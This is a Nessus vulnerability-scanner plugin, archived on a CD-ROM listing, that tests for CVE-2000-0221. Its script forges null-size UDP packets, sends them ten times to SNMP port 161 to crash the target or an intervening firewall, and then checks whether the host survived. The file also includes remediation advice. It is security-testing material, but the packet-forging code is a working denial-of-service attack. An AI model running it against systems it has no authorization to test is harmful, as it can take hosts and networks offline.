home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / snmp_dos.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  115 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. # Thanks to Christophe Grenier <grenier@esiea.fr> for pointing this out
  5. #
  6. #
  7. # See the Nessus Scripts License for details
  8. #
  9.  
  10. if(description)
  11. {
  12.  script_id(10266);
  13.  script_bugtraq_id(1009);
  14.  script_version ("$Revision: 1.11 $");
  15.  script_cve_id("CVE-2000-0221");
  16.  name["english"] = "UDP null size going to SNMP DoS";
  17.  name["francais"] = "DΘni de service par paquet UDP de taille nulle allant SNMP";
  18.  script_name(english:name["english"], francais:name["francais"]);
  19.  
  20.  desc["english"] = "It was possible to
  21. crash either the remote host or the firewall
  22. in between us and the remote host by sending
  23. an UDP packet of null size going to port 161 (snmp)
  24.  
  25. This flaw may allow an attacker to shut down
  26. your network.
  27.  
  28. Solution : contact your firewall vendor if
  29. it was the firewall which crashed, or filter
  30. incoming UDP traffic if the remote host crashed.
  31.  
  32. Risk factor : High";
  33.  
  34.  
  35.  desc["francais"] = "Il s'est avΘrΘ possible
  36. de faire planter le systΦme distant ou le firewall
  37. situΘ entre nous et le systΦme distant en envoyant
  38. un paquet UDP de taille nulle allant vers le port 161
  39. (snmp)
  40.  
  41. Ce problΦme peut permettre α un pirate de mettre
  42. hors d'Θtat de marche tout votre rΘseau. 
  43.  
  44.  
  45. Solution : contactez l'Θditeur du firewall pour
  46. un patch si c'est celui-ci qui a plantΘ, ou alors
  47. filtrez le traffic UDP si c'est la machine distante
  48. qui a plantΘ.
  49.  
  50. Facteur de risque : ElevΘ";
  51.  
  52.  script_description(english:desc["english"], francais:desc["francais"]);
  53.  
  54.  summary["english"] = "Crashes the remote host by sending a null UDP packet";
  55.  summary["francais"] = "Plante le serveur distant en envoyant un packet UDP de taille nulle";
  56.  script_summary(english:summary["english"], francais:summary["francais"]);
  57.  
  58.  script_category(ACT_KILL_HOST);
  59.  
  60.  
  61.  script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
  62.         francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
  63.  family["english"] = "Denial of Service";
  64.  family["francais"] = "DΘni de service";
  65.  script_family(english:family["english"], francais:family["francais"]);
  66.  
  67.  
  68.  exit(0);
  69. }
  70.  
  71. #
  72. # The script code starts here
  73. #
  74.  
  75. start_denial();
  76.  
  77.  
  78. ip = forge_ip_packet(ip_v   : 4,
  79.              ip_hl  : 5,
  80.              ip_tos : 0,
  81.              ip_id  : 0x4321,
  82.              ip_len : 28,
  83.              ip_off : 0,
  84.              ip_p   : IPPROTO_UDP,
  85.              ip_src : this_host(),
  86.              ip_ttl : 0x40);
  87.  
  88. # Forge the UDP packet
  89.         
  90. udp = forge_udp_packet( ip : ip,
  91.             uh_sport : 1234, uh_dport : 161,
  92.             uh_ulen : 8);             
  93.  
  94.  
  95. #
  96. # Send this packet 10 times
  97. #
  98.  
  99. send_packet(udp, pcap_active:FALSE) x 10;    
  100.  
  101. #
  102. # wait
  103. #
  104. sleep(5);
  105.  
  106. #
  107. # And check...
  108. #
  109. alive = end_denial();
  110. if(!alive)
  111. {
  112.   set_kb_item(name:"Host/dead", value:TRUE);
  113.   security_hole(161);
  114. }
  115.